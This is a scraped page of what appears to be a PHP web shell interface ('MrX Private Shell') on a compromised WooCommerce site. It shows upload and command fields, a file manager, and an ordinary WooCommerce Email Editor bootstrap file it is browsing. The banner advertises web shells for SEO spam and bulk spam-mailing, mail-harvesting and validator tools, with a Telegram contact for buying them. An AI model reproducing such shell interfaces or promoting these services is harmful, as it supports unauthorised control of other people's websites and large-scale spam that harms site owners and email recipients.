__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
/**
 * This file is part of the WooCommerce Email Editor package
 *
 * @package Automattic\WooCommerce\EmailEditor
 */

declare( strict_types = 1 );
namespace Automattic\WooCommerce\EmailEditor;

use Automattic\WooCommerce\EmailEditor\Engine\Email_Editor;
use Automattic\WooCommerce\EmailEditor\Integrations\Core\Initializer as CoreEmailEditorIntegration;
use Automattic\WooCommerce\EmailEditor\Integrations\WooCommerce\Initializer as WooCommerceEmailEditorIntegration;

/**
 * Bootstrap class for initializing the Email Editor functionality.
 */
class Bootstrap {

	/**
	 * Email editor instance.
	 *
	 * @var Email_Editor
	 */
	private $email_editor;

	/**
	 * Core email editor integration instance.
	 *
	 * @var CoreEmailEditorIntegration
	 */
	private $core_email_editor_integration;

	/**
	 * WooCommerce email editor integration instance.
	 *
	 * @var WooCommerceEmailEditorIntegration
	 */
	private $woocommerce_email_editor_integration;

	/**
	 * Constructor.
	 *
	 * @param Email_Editor                      $email_editor Email editor instance.
	 * @param CoreEmailEditorIntegration        $core_email_editor_integration  Core email editor integration instance.
	 * @param WooCommerceEmailEditorIntegration $woocommerce_email_editor_integration  WooCommerce email editor integration instance.
	 */
	public function __construct(
		Email_Editor $email_editor,
		CoreEmailEditorIntegration $core_email_editor_integration,
		WooCommerceEmailEditorIntegration $woocommerce_email_editor_integration
	) {
		$this->email_editor                         = $email_editor;
		$this->core_email_editor_integration        = $core_email_editor_integration;
		$this->woocommerce_email_editor_integration = $woocommerce_email_editor_integration;
	}

	/**
	 * Initialize the email editor functionality.
	 */
	public function init(): void {
		add_action(
			'init',
			array(
				$this,
				'initialize',
			)
		);

		add_filter(
			'woocommerce_email_editor_initialized',
			array(
				$this,
				'setup_email_editor_integrations',
			)
		);
		add_filter(
			'block_type_metadata_settings',
			array( $this->core_email_editor_integration, 'update_block_settings' ),
			10,
			1
		);

		if ( class_exists( 'WooCommerce' ) ) {
			add_filter(
				'block_type_metadata_settings',
				array( $this->woocommerce_email_editor_integration, 'update_block_settings' ),
				10,
				1
			);
		}
	}

	/**
	 * Initialize the email editor.
	 */
	public function initialize(): void {
		$this->email_editor->initialize();
	}

	/**
	 * Setup email editor integrations.
	 */
	public function setup_email_editor_integrations(): bool {
		$this->core_email_editor_integration->initialize();
		return true; // PHPStan expect returning a value from the filter.
	}
}

Filemanager

Name Type Size Permission Actions
Engine Folder 0775
Integrations Folder 0775
Validator Folder 0775
class-bootstrap.php File 2.67 KB 0664
class-container.php File 2.31 KB 0664
class-email-css-inliner.php File 2.76 KB 0664
class-email-editor-container.php File 8.68 KB 0664
class-package.php File 732 B 0664
exceptions.php File 2.81 KB 0664
Filemanager